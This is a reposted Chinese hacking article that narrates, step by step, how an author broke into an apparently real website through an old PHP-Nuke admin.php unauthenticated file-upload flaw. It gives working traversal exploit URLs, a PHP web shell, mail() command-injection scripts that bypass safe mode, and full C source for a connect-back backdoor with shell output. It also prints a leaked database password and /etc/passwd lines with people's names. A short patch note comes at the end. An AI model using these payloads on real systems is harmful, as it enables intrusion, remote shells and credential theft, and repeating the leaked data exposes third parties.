登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网..
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计..
  如何利用终端服务入侵远程计..
  “流光异彩”话小榕
  一次入侵过程
本站原创
最新招聘信息

您现在的位置:立华软件园->安全防线->黑客教学
san是怎么利用phpnuke的漏洞做坏事的:)
发表日期:2006-03-12作者:inburst[转贴] 出处:安全焦点  

san是怎么利用phpnuke的漏洞做坏事的:)

by inburst@xfocus.org
http://xfocus.org

[写在前面]由于大家对san<san@xfocus.org>这外表忠厚的同志一直不太了解,总是被其貌似老实的样子所蒙蔽,本着对广大人民群众负责的态度,俺冒着被san敲诈晚饭之险,写下这篇文字,希望大家能够通过俺的牺牲,揭开san的画皮啊:)

一、phpnuke的漏洞

2001-9-24日的bugtraq里,有一则短短的twlc security divison,说明了phpnuke所有版本(除了5.0RC1)的admin.php文件中,存在一个文件上传的漏洞,因为没有对用户的身份进行验证,所以任何一个用户都可以借此拷贝机器上的任意文件到phpnuke或者phpnuke以外的任意一个有权限的目录。有问题的代码出在下面这段:

$basedir = dirname($SCRIPT_FILENAME);
$textrows = 20;
$textcols = 85;
$udir = dirname($PHP_SELF);
if(!$wdir) $wdir="/";
if($cancel) $op="FileManager";
if($upload) {
  //^^^^^^
  //  +----------------->只是判断是否$upload=1,而没有做任何身份的验证
    copy($userfile,$basedir.$wdir.$userfile_name);
    $lastaction = ""._UPLOADED." $userfile_name --> $wdir";
    // This need a rewrite -------------------------------------> OMG! WE AGREEEEEEEE lmao
    //include("header.php");
    //GraphicAdmin($hlpfile);
    //html_header();
    //displaydir();
    $wdir2="/";
    chdir($basedir . $wdir2);
    //CloseTable();
    //include("footer.php");
    Header("Location: admin.php?op=FileManager");
    exit;
}

phpnuke是一个使用非常广泛的php程序,国内外有许多大的UNIX\GNU\Linux站点都是使用这套程序,而一般使用者都很少disable掉里面一些看起来非常强大,但实则容易出问题的函数。而且phpnuke做出来的页面,风格非常明显,易于辨认,所以san就找了一个国外站点试了试……

二、简单利用

很直接的利用方法就是,用下面的语句将phpnuke的配置文件config.php拷贝到phpnuke目录下的images/hacked.txt,如下:

http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt

这样通过在浏览器上输入:

http://www.server.net/images/hacked.txt,就可以看到config.php的内容了,当然包括里面的sql密码等敏感信息,比如下面就是该server的config.php片断:

-----------------snip--------------------------

######################################################################
# Database & System Config
#
# dbhost:   MySQL Database Hostname
# dbuname:  MySQL Username
# dbpass:   MySQL Password
# dbname:   MySQL Database Name
# system:   0 for Unix/Linux, 1 for Windows
######################################################################

$dbhost = "localhost";
$dbuname = "phpnuke";
$dbpass = "nukeitnow";
$dbname = "phpnuke_44";
$system = 0;

-----------------snip--------------------------

而且,通过这一漏洞,你甚至可以将文件复制到phpnuke以外的目录,比如(这是俺在自己机器上测试的:):

root@somehost:/tmp > ls -la
total 20
drwxrwxrwt   8 root     root         2048 Sep 25 13:37 .
drwxr-xr-x  19 root     root         2048 Feb 28  2001 ..
drwxrwxrwt   2 root     root         2048 Mar  6  2001 .X11-unix
-rw-r--r--   1 root     root          851 Sep 25 13:37 copyme.txt
....

在浏览器里输入以下url:

http://www.server.net/admin.php?upload=1&wdir=/../../../../../../../tmp&userfile=/../../../../../../../tmp/copyme.txt&userfile_name=/../../../../../../../tmp/hacked.txt

root@somehost:/tmp > ls -la
total 20
drwxrwxrwt   8 root     root         2048 Sep 25 13:37 .
drwxr-xr-x  19 root     root         2048 Feb 28  2001 ..
drwxrwxrwt   2 root     root         2048 Mar  6  2001 .X11-unix
-rw-r--r--   1 root     root          851 Sep 25 13:37 copyme.txt
-rwxr-xr-x   1 wwwrun   wwwrun        851 Sep 25 13:37 hacked.txt
....

hacked.txt已经被顺利地复制到/tmp下面了。

通常这时候是先试试看passwd吧……但是当san希望通过指定不同的文件名,来将/etc/passwd文件拷贝到images目录下时,却发生了意外……:

输入如下url:

http://www.server.net/admin.php?upload=1&file=/etc/passwd&file_name=hacked.txt&wdir=/images/&userfile=/etc/passwd&userfile_name=hacked.txt

浏览器里返回的结果有这么一句话:

Warning: SAFE MODE Restriction in effect. The script whose uid is 180 is not allowed to access /etc/passwd owned by uid 0 in /home/htdocs/www-edu/admin.php on line 398

本来以为这样便将/etc/passwd文件复制到images/hacked.txt了,同样可以通过浏览器来看到它,但结果却是不让拷,实在有些扫兴,但这也越发激起了san的斗志……xixi。

三、文件上传

1、脚本文件

但是只能浏览一些敏感信息,xundi姐姐觉得不太满意,提出要能执行命令的要求,于是san只好再挖空心思……首先是写一个简单的php脚本,如果将它上载到服务器上,便可以利用该脚本执行命令了:

------------test1.php------------
<?php
echo"  
";  
system("$cmd");  
echo"  
";  
?>
------------test1.php------------

2、上载文件至phpnuke目录下

当执行完比如
http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt

这样的命令后,phpnuke返回的是filemanager的界面,这时我们就可以简单地选择在选择本地的文件后,选择upload把文件传到当前目录下(现在是images/下面),就这样,san把test1.php传上去了……

3、执行命令

在浏览器中输入http://www.server.net/images/test1.php?cmd=id,按照我们的构想,应该返回web server运行者的id号,但结果……

居然返回空白?

4、safe mod

原来是这台web server使用了php的safe mod来运行,下面的例子是从php的安全模式说明文件中摘出来的,比如我们希望在一台以safe mod运行的php web server上执行下面代码:

<?php
readfile('/etc/passwd');
?>  
  
结果浏览器会返回如下结果:

results in this error when Safe Mode is enabled: Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2

这就是前面我们无法拷贝/etc/passwd的原因了,同样的,在安全模式下,system()调用等等也是被禁止的,我们只能够执行safe_mode_exec_dir里允许的可执行文件,所以,我们的test1.php在这里失去了用武之地……

四、突破限制

1、突破safe mod

先让我们看看san在他的一篇文章里写到的:

-------------------snip------------------------
2、mail函数的第五个参数
在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,
但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子:
mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org < /etc/passwd就能把机器的密码发送
到我的信箱了。
这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的
基本功能,理解了就可以了。
对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改
php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:
extra_cmd=NULL
然后重新编译。
-------------------snip------------------------

通过这一原理,我们准备突破safe mod的限制了……先看看san写的test2.php

-----------------test2.php-------------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;cp /etc/passwd  /home/htdocs/www-edu/images/kk.txt", "-fwebmaster@;cp /etc/passwd  /home/htdocs/www-edu/images/kk.txt");
?>
-----------------test2.php-------------------------

将test2.php上传到web服务器上并执行后,我们从浏览器中看http://www.somesite.net/images/kk.txt,可以看到,我们已经可以拷贝/etc/passwd了,也就是说,已经突破了safe mod的限制了……下面便是passwd的片断:

-----------------snip--------------------------
kzentner:x:13657:13657:Kerstin Zentner:/home/users/kzentner:/bin/bash
ipoertsc:x:13658:13658:Isabella Poertschacher:/home/users/ipoertsc:/bin/bash
bmarzi:x:13659:13659:Brigitte Marzi:/home/users/bmarzi:/bin/bash
a2kogler:x:13660:13660:Angelika Kogler:/home/users/a2kogler:/bin/bash
dtschisc:x:13662:13662:David Tschische:/home/users/dtschisc:/bin/bash
m2egger:x:13663:13663:Martina Egger:/home/users/m2egger:/bin/bash
ssimoner:x:13664:13664:Susanne Simoner:/home/users/ssimoner:/bin/bash
sberling:x:13665:13665:Silvia elisabeth Berlinger:/home/users/sberling:/bin/bash
-----------------snip--------------------------

好了,那我们就来给自己创建一个shell吧,先是上传了一个普通的bindshell.c(就是创建一个socket而已),然后再传一个test3.php文件对bindshell进行编译:

------------------test3.php-----------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;gcc /home/htdocs/www-edu/images/bindshell.c -o bind", "webmaster@;gcc /home/htdocs/www-edu/images/bindshell.c -o bind");
?>
------------------test3.php-----------------------

test4.php文件用来运行这一绑定端口的程序bind,程序中定义了端口绑定于1234。

------------------test4.php-----------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;/home/htdocs/www-edu/images/bind", "webmaster@;/home/htdocs/www-edu/images/bind");
?>
------------------test4.php-----------------------

分别运行完test3.php和test4.php之后,我们在自己的机器上:

[san@redhat:/tmp]# nc www.somesite.net 1234
[san@redhat:/tmp]#

连接不上?想看看是否打开了端口,于是再上传一个test5.php看看netstat情况:

------------------test5.php-----------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;netstat -na >/home/htdocs/www-edu/images/netstat.txt", "webmaster@;netstat -na >/home/htdocs/www-edu/images/netstat.txt");
?>
------------------test5.php-----------------------

运行了test5.php之后,我们察看http://www.server.net/images/netstat.txt,发现结果是:

netstat -na
/proc/net/tcp: Permission denied
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State

居然权限不够,实在恼火,用同样的方法察看ps -awx情况后,发现进程正常运行,因此san估计可能是firewall将端口过滤了,所以决定……

2、突破firewall

从一大堆的代码里挑出这个connect-back的backdoor,代码很简单,如下:

/*
**
** Digit-Labs Connect-Back Backdoor - digit-labs.org
** <grazer@digit-labs.org> - (c) All rights reserved
**
** Use this backdoor to access machines behind
** firewalls.
**
** [step 1] -
** setup a listening port on your box e.g:
** >nc -l -p 4000
**
** [step 2] -
** Issue the following command:
** >./cbd <ip_of_listening_machine>
**
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

int fd, sock;
int port = 4000;
struct sockaddr_in addr;

char mesg[]  = "\n[ Digit-Labs Connect-Back Backdoor ]\n   \
* Connected to Commandline...\n";

char shell[] = "/bin/sh";

int main(int argc, char *argv[]) {

  while(argc < 2) {
    fprintf(stderr, "\n %s <ip> \n\n", argv[0]);
    exit(0);
  }

  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = inet_addr(argv[1]);
  fd = socket(AF_INET, SOCK_STREAM, 0);
  connect(fd, (struct sockaddr*)&addr, sizeof(addr));

  send(fd, mesg, sizeof(mesg), 0);

  dup2(fd, 0);
  dup2(fd, 1);
  dup2(fd, 2);
  execl(shell, "in.telnetd", 0);

  close(fd);
  return 1;
}

用前面所述的方法,将back.c编译成back,在本地机器上起一个监听端口:

C:\temp\nc -l -vv -p 4000

然后再传上一个test6.php来运行back这个反向连接的程序(里面的*.*.*.*是san的IP地址):

-------------------test6.php-----------------------
<?
mail("nobody@kk.com", "the subject", $message, "From: webmaster@;/home/htdocs/www-edu/images/back *.*.*.*", "webmaster@;/home/htdocs/www-edu/images/back *.*.*.*");
?>
-------------------test6.php-----------------------

运行test6.php后,我们前面开启的nc端口终于收到对方服务器发来的数据包:

C:\temp\nc -l -vv -p 4000
listening on [any] 4000 ...
connect to [*.*.*.*] from www.server.net [*.*.*.*] 2259

[ Digit-Labs Connect-Back Backdoor ]
   * Connected to Commandline...
id <-------------我们的权限
uid=180(aphttpd) gid=180(aphttpd) gropus=180(aphttpd),11(tmp)
w  <-------------谁在系统里
10:43am up 24 days, 14:41, 0 users, load average: 0.10, 0.14, 0.11
USER    TTY    FROM    LOGIN@    IDLE    JCPU    PCPU    WHAT
pwd<-------------当前目录是什么
/home/htdocs/www-edu/images
ps awx|grep sendmail <----------看看这个让我们进入系统的后门进程吧 :)
1773 ?    S    0:00 sh -c /usr/sbin/sendmail -t -i webmaster@;/home/htdocs/www-edu/images/back *.*.*.*

好了,到现在似乎这台服务器对san而言似乎已经失去更多的诱惑力了,毕竟已经上过了,xixi,这就是san啊:)

五、结束语

1、简单修补

由此可见,这个phpnuke的漏洞算是相当严重的,这里就不老调重弹地重复那些web编程的注意要点了,简单地修正这一漏洞,只需要把下面这句:

"if($upload) {"

改成:

"if (($upload) && ($admintest)) {"

就OK了,当然,如果你没有必要使用filemanager的话,把这一函数disable掉,或者不让启动webserver的用户(通常是nobody或者www)有权限修改web路径下的文件吧。

2、如果利用某些开放源代码的程序的话,一要做代码审核,二要禁止掉一些危险的函数。

3、web server的权限设置要搞好。(在9-25日时,绿色兵团也一样存在这个漏洞,当然,它web server设置得比较好,但也还是可以通过其它手段尝试绕过限制的)。

4、进行web攻击的时候,往往会遇到很多意外事件(比如这次遇到的safe mod),这时要尝试不同的方法和思路来突破……

六、参考资料

1、《twlc advisory: all versions of php nuke are vulnerable...》
2、《对PHP行攻击之狗尾续貂》by san@xfocus.org
3、PHP Manual: Safe Mode

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 san是怎么利用phpnuke的漏洞做坏事的:)
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00642